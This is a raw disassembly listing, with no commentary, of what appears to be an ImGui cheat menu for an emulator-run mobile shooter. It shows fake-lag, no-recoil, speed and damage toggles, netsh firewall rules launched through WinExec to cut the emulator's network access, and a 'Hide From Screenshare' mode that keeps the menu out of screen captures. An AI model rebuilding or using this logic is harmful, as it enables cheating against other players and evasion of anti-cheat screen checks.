cmp byte [rdx + 0x48f3], r12b
je 0x140058599
cmp byte [rdx + 0x48f2], r12b
jne 0x140058599
test byte [rdx + 0x4770], 4
jne 0x1400586aa
mov eax, dword [rdx + 0x48b8]
cmp eax, dword [rdx + 0x476c]
jne 0x1400586aa
test eax, eax
jne 0x140058661
jmp 0x1400586aa
mov eax, dword [rdx + 0x4774]
test r13b, al
je 0x1400586aa
cmp qword [rdx + 0x3ed8], r9
je 0x1400585b9
test al, al
jns 0x1400586aa
mov eax, dword [rdx + 0x3f30]
test eax, eax
je 0x1400585de
cmp eax, dword [rdx + 0x476c]
je 0x1400585de
cmp byte [rdx + 0x3f3d], r12b
jne 0x1400585de
cmp eax, dword [r9 + 0x74]
jne 0x1400586aa
mov rcx, qword [rdx + 0x48b0]
test rcx, rcx
je 0x140058643
mov rcx, qword [rcx + 0x370]
test rcx, rcx
je 0x140058643
cmp byte [rcx + 0xaf], r12b
je 0x140058643
mov rax, qword [r9 + 0x370]
cmp rcx, rax
je 0x140058643
mov r8d, dword [rcx + 0xc]
bt r8d, 0x1b
jb 0x14005861d
bt r8d, 0x1a
jae 0x140058643
cmp qword [rax + 0x370], rcx
je 0x140058643
cmp rax, rcx
je 0x140058643
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140058626
test dword [rdx + 0x4770], 0x100
je 0x1400586aa
test byte [rdx + 0x4770], 4
jne 0x1400586aa
mov eax, dword [r9 + 0x74]
cmp dword [rdx + 0x476c], eax
jne 0x140058661
cmp byte [r9 + 0xb0], r12b
jne 0x1400586aa
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.SECOND_OF_FAKE_LAG
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x1400586a5
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
lea r9, [0x140145260]
lea r8, str.Apply_in_Each_Match
lea rdx, [0x140145194]
lea rcx, str.FAKE_LAG
call fcn.140039f40
xor r9d, r9d
mov byte [0x14014511c], al
lea r8, str.Apply_in_Loby_GAME
lea rdx, [0x14014519b]
lea rcx, str.NO_RECOIL
call fcn.140039f40
mov byte [0x140145136], al
test al, al
je 0x140058726
cmp byte [0x14014519b], r12b
je 0x140058726
lea rcx, [rbp + 0x380]
call fcn.14005ef10
lea rcx, [rbp + 0x380]
call fcn.14004ba10
cmp dword [rbp + 0x388], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140058772
cmp byte [rcx + 0x48f2], r12b
jne 0x140058772
test byte [rcx + 0x4770], 4
jne 0x140058884
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140058884
test eax, eax
jne 0x14005883b
jmp 0x140058884
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140058884
cmp qword [rcx + 0x3ed8], r9
je 0x140058792
test al, al
jns 0x140058884
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x1400587b7
cmp eax, dword [rcx + 0x476c]
je 0x1400587b7
cmp byte [rcx + 0x3f3d], r12b
jne 0x1400587b7
cmp eax, dword [r9 + 0x74]
jne 0x140058884
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005881d
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005881d
cmp byte [rdx + 0xaf], r12b
je 0x14005881d
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005881d
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400587f6
bt r8d, 0x1a
jae 0x14005881d
cmp qword [rax + 0x370], rdx
je 0x14005881d
nop
cmp rax, rdx
je 0x14005881d
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140058800
test dword [rcx + 0x4770], 0x100
je 0x140058884
test byte [rcx + 0x4770], 4
jne 0x140058884
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005883b
cmp byte [r9 + 0xb0], r12b
jne 0x140058884
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Apply_in_Loby_SOLO
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x14005887f
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
xor r9d, r9d
lea r8, str.Apply_in_Loby
lea rdx, [0x14014514d]
lea rcx, str.FIX_DAMAGE__LOBY_
call fcn.140039f40
mov byte [0x140145119], al
test al, al
je 0x1400588d9
cmp byte [0x14014514d], r12b
je 0x1400588d9
lea rcx, [rbp + 0x390]
call fcn.14005ef80
lea rcx, [rbp + 0x390]
call fcn.14004ba10
cmp dword [rbp + 0x398], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140058925
cmp byte [rcx + 0x48f2], r12b
jne 0x140058925
test byte [rcx + 0x4770], 4
jne 0x140058a36
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140058a36
test eax, eax
jne 0x1400589ed
jmp 0x140058a36
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140058a36
cmp qword [rcx + 0x3ed8], r9
je 0x140058945
test al, al
jns 0x140058a36
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005896a
cmp eax, dword [rcx + 0x476c]
je 0x14005896a
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005896a
cmp eax, dword [r9 + 0x74]
jne 0x140058a36
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x1400589cf
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x1400589cf
cmp byte [rdx + 0xaf], r12b
je 0x1400589cf
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x1400589cf
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400589a9
bt r8d, 0x1a
jae 0x1400589cf
cmp qword [rax + 0x370], rdx
je 0x1400589cf
cmp rax, rdx
je 0x1400589cf
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x1400589b2
test dword [rcx + 0x4770], 0x100
je 0x140058a36
test byte [rcx + 0x4770], 4
jne 0x140058a36
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x1400589ed
cmp byte [r9 + 0xb0], r12b
jne 0x140058a36
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Apply_in_Loby
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140058a31
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
lea r9, [0x140145190]
lea r8, str.Apply_in_Each_Match
lea rdx, [0x140145197]
lea rcx, str.SPEED_X
call fcn.140039f40
mov byte [0x14014511f], al
test al, al
je 0x140058a8f
cmp byte [0x140145197], r12b
je 0x140058a8f
lea rcx, [rbp + 0x3f0]
call fcn.14005eff0
lea rcx, [rbp + 0x3f0]
call fcn.14004ba10
cmp dword [rbp + 0x3f8], r12d
jne 0x14005a447
call fcn.14000c160
mov eax, dword [0x14016aa2c]
cmp eax, 4
jne 0x140059179
mov rcx, qword [0x140145120]
lea rdx, str.Checkbox_Xbest_X_tre_V2
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm11
addss xmm1, xmm11
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0xb0], 0x43960000
mov dword [rbp + 0xb4], 0x43f50000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007b50
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0xb0]
lea rcx, str.Checkbox_Xbest_X_tre_V2
call fcn.14000be00
xor r9d, r9d
lea r8, str.Apply_in_Login
lea rdx, [0x14014519f]
lea rcx, str.Stop_Internet
call fcn.140039f40
mov rdx, qword [0x140145120]
movzx r10d, al
mov byte [0x14014514c], al
mov r9, qword [rdx + 0x3ed0]
cmp byte [rdx + 0x48f3], r12b
je 0x140058bba
cmp byte [rdx + 0x48f2], r12b
jne 0x140058bba
test byte [rdx + 0x4770], 4
jne 0x140058cd3
mov eax, dword [rdx + 0x48b8]
cmp eax, dword [rdx + 0x476c]
jne 0x140058cd3
test eax, eax
jne 0x140058c82
jmp 0x140058cd3
mov eax, dword [rdx + 0x4774]
test r13b, al
je 0x140058cd3
cmp qword [rdx + 0x3ed8], r9
je 0x140058bda
test al, al
jns 0x140058cd3
mov eax, dword [rdx + 0x3f30]
test eax, eax
je 0x140058bff
cmp eax, dword [rdx + 0x476c]
je 0x140058bff
cmp byte [rdx + 0x3f3d], r12b
jne 0x140058bff
cmp eax, dword [r9 + 0x74]
jne 0x140058cd3
mov rcx, qword [rdx + 0x48b0]
test rcx, rcx
je 0x140058c64
mov rcx, qword [rcx + 0x370]
test rcx, rcx
je 0x140058c64
cmp byte [rcx + 0xaf], r12b
je 0x140058c64
mov rax, qword [r9 + 0x370]
cmp rcx, rax
je 0x140058c64
mov r8d, dword [rcx + 0xc]
bt r8d, 0x1b
jb 0x140058c3e
bt r8d, 0x1a
jae 0x140058c64
cmp qword [rax + 0x370], rcx
je 0x140058c64
cmp rax, rcx
je 0x140058c64
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140058c47
test dword [rdx + 0x4770], 0x100
je 0x140058cd3
test byte [rdx + 0x4770], 4
jne 0x140058cd3
mov eax, dword [r9 + 0x74]
cmp dword [rdx + 0x476c], eax
jne 0x140058c82
cmp byte [r9 + 0xb0], r12b
jne 0x140058cd3
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Apply_in_Login
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140058cc6
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
movzx r10d, byte [0x14014514c]
test r10b, r10b
je 0x140058e5e
xor edx, edx
cmp byte [0x14014519f], r12b
je 0x140058dc0
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
movups xmm6, xmmword [0x140143bb8]
lea rdx, str.Desactivado_Internet_
lea rcx, [rbp + 0xa18]
call fcn.140046890
lea rcx, [rbp + 0xa38]
jmp 0x140058e39
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
movups xmm6, xmmword [0x140143bb8]
lea rdx, str.Activado_Internet_
lea rcx, [rbp + 0xa58]
call fcn.140046890
lea rcx, [rbp + 0xa78]
lea rdx, str.Notification
mov rbx, rax
call fcn.140046890
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004b380
xor r9d, r9d
lea r8, str.Hide_From_Screenshare
lea rdx, [0x140145199]
lea rcx, str.Streamer_Mode
call fcn.140039f40
mov byte [0x140145135], al
test al, al
je 0x140058ff5
cmp byte [0x140145199], r12b
movups xmm6, xmmword [0x140143bb8]
je 0x140058f49
lea rdx, str.Streamer_Mode_Activated
lea rcx, [rbp + 0xa98]
call fcn.140046890
lea rdx, [0x1400e6390]
mov rbx, rax
lea rcx, [rbp + 0xab8]
call fcn.140046890
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004b380
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp - 0x50], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x50]
mov r8d, r13d
lea r9, [0x1400ca080]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x1400ca090]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140058fef
mov rax, qword [rbp - 0x50]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x50]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x50]
jmp 0x140058fe9
lea rdx, str.Streamer_Mode_Removed
lea rcx, [rbp + 0xad8]
call fcn.140046890
lea rdx, [0x1400e6390]
mov rbx, rax
lea rcx, [rbp + 0xaf8]
call fcn.140046890
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004b380
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp - 0x48], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x48]
mov r8d, r13d
lea r9, [0x1400ca080]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x1400ca090]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140058fef
mov rax, qword [rbp - 0x48]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x48]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x48]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140059041
cmp byte [rcx + 0x48f2], r12b
jne 0x140059041
test byte [rcx + 0x4770], 4
jne 0x140059154
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140059154
test eax, eax
jne 0x14005910b
jmp 0x140059154
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140059154
cmp qword [rcx + 0x3ed8], r9
je 0x140059061
test al, al
jns 0x140059154
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140059086
cmp eax, dword [rcx + 0x476c]
je 0x140059086
cmp byte [rcx + 0x3f3d], r12b
jne 0x140059086
cmp eax, dword [r9 + 0x74]
jne 0x140059154
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x1400590ed
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x1400590ed
cmp byte [rdx + 0xaf], r12b
je 0x1400590ed
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x1400590ed
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400590c5
bt r8d, 0x1a
jae 0x1400590ed
cmp qword [rax + 0x370], rdx
je 0x1400590ed
nop
cmp rax, rdx
je 0x1400590ed
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x1400590d0
test dword [rcx + 0x4770], 0x100
je 0x140059154
test byte [rcx + 0x4770], 4
jne 0x140059154
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005910b
cmp byte [r9 + 0xb0], r12b
jne 0x140059154
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Hide_From_Screenshare
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x14005914f
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
lea r9, [0x1400d8e7a]
mov r8d, 2
lea rdx, [0x140143bb8]
lea rcx, str.Particles_Color
call fcn.140042280
call fcn.14000c160
movss xmm8, dword [0x1400e7514]
call fcn.14004ee00
call fcn.14004eb00
call fcn.14004b510
mov rcx, qword [0x140145120]
lea rdx, [rbp + 0x110]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, str.Move_detector
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm10
addss xmm1, xmm10
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
movss xmm0, dword [0x140143b00]
movss xmm1, dword [0x140143b04]
movss dword [rbp + 0x110], xmm0
movss dword [rbp + 0x114], xmm1
call fcn.1400390e0
mov rax, qword [0x140145120]
mov ecx, dword [rax + 0x3f30]
test ecx, ecx
je 0x1400592c1
cmp ecx, dword [rax + 0x476c]
jne 0x1400592c1
mov rcx, qword [0x140145230]
lea rdx, [0x140145240]
call qword [sym.imp.USER32.dll_GetWindowRect]
movss xmm6, dword [0x1400e7560]
lea rcx, [rbp + 0x7d0]
cvttss2si edi, dword [0x140143b04]
cvttss2si esi, dword [0x140143b00]
movaps xmm2, xmm6
call fcn.1400137e0
movd xmm0, dword [0x140145244]
lea rcx, [rbp + 0x7d8]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm6
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.1400137e0
mov r9d, esi
mov rcx, qword [0x140145230]
mov r8d, ebx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x140145240]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
call fcn.140011900
mov rdi, qword [0x140145230]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14005933e
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140059335
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x7a8]
mov qword [rbp + 0x4a0], rcx
lea rdx, [rbp + 0x498]
mov rcx, rdi
mov dword [rbp + 0x498], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x7a8], xmm0
mov dword [rbp + 0x4a8], reloc.WS2_32.dll_recv
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x14005937f
mov rcx, qword [rbp + 0x1b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005937a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a44e
call fcn.1400c51dc
mov rcx, qword [rbp - 0x40]
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1b0], r12b
test rcx, rcx
je 0x14005944d
mov rsi, qword [rbp - 0x38]
cmp rcx, rsi
je 0x14005940c
lea rbx, [rcx + 0x18]
mov rdx, qword [rbx]
cmp rdx, 0xf
jbe 0x1400593ec
mov rcx, qword [rbx - 0x18]
inc rdx
cmp rdx, 0x1000
jb 0x1400593e7
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005a44e
mov rcx, r8
call fcn.1400c51dc
mov qword [rbx - 8], r12
mov qword [rbx], reloc.WS2_32.dll_ntohs
mov byte [rbx - 0x18], r12b
add rbx, 0x20
lea rax, [rbx - 0x18]
cmp rax, rsi
jne 0x1400593b2
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x14005943c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a44e
call fcn.1400c51dc
xorps xmm0, xmm0
mov qword [rbp - 0x30], r12
movdqu xmmword [rbp - 0x40], xmm0
mov rdx, qword [rbp + 0x458]
cmp rdx, 0xf
jbe 0x14005948e
mov rcx, qword [rbp + 0x440]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059489
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a44e
call fcn.1400c51dc
mov rdx, qword [rbp + 0x3b8]
mov qword [rbp + 0x450], r12
mov qword [rbp + 0x458], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x440], r12b
cmp rdx, 0xf
jbe 0x1400594e8
mov rcx, qword [rbp + 0x3a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400594e3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a44e
call fcn.1400c51dc
mov ecx, reloc.WLDAP32.dll_Ordinal_45
mov qword [rbp + 0x3b0], r12
mov qword [rbp + 0x3b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3a0], r12b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x14005951f
cmp byte [reloc.WS2_32.dll_accept], r12b
sete byte [0x140143af8]
mov rax, qword [0x140145120]
test rax, rax
jne 0x14005954c
mov r8d, 0xfe3
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140145120]
movss xmm0, dword [rax + 0x18]
mov ecx, dword [0x1400fa110]
mulss xmm0, dword [0x1400e747c]
cmp ecx, 0xff
jg 0x140059575
cmp byte [reloc.WS2_32.dll_accept], r12b
mov eax, Ordinal_301
jne 0x140059578
mov eax, r12d
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x1400fa110], r8d
cmp r8d, 0xff
jle 0x1400595b5
mov dword [0x1400fa110], 0xff
mov r8d, 0xff
mov rcx, qword [0x140145230]
xor edx, edx
mov r9d, 2
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
cmp dword [0x1400fa110], r12d
mov edx, r12d
mov rcx, qword [0x140145230]
mov eax, 5
cmovg edx, eax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.14000b620
mov rcx, qword [0x14016aa50]
lea r8, [0x14016aa30]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x7b8], xmm0
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x14016aa50]
lea r8, [rbp + 0x7b8]
mov rdx, qword [0x14016aa30]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x140145120]
cmp dword [rbx + 0x48a0], r12d
jg 0x14005965d
mov r8d, 0x6fc
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
mov rcx, qword [rax]
mov rax, r12
add rcx, 0x48
cmp byte [rcx], r12b
cmovne rax, rcx
mov rcx, rax
call fcn.140047cc0
mov rcx, qword [0x14016aa38]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
jmp 0x140055ace
movss xmm0, dword [rsp + 0x70]
lea rcx, [0x140143bc8]
movss xmm1, dword [rsp + 0x74]
addss xmm0, xmm9
addss xmm1, dword [0x1400e7524]
movss dword [rbp + 0xb8], xmm0
movss dword [rbp + 0xbc], xmm1
call fcn.1400041f0
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea rdx, [rsp + 0x70]
movss dword [rsp + 0x20], xmm7
lea r8, [rbp + 0xb8]
mov rcx, rsi
call fcn.14002b620
movss xmm0, dword [rsp + 0x70]
lea rcx, [0x140143bc8]
movss xmm1, dword [rsp + 0x74]
addss xmm0, xmm9
addss xmm1, dword [0x1400e7524]
movss dword [rbp + 0xc0], xmm0
movss dword [rbp + 0xc4], xmm1
call fcn.1400041f0
mov r9d, eax
mov dword [rsp + 0x28], 0x50
lea rdx, [rsp + 0x70]
movss dword [rsp + 0x20], xmm7
lea r8, [rbp + 0xc0]
mov rcx, rsi
call fcn.14002b620
movss xmm0, dword [0x14016aa28]
ucomiss xmm0, xmm10
jp 0x140059771
jne 0x140059771
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
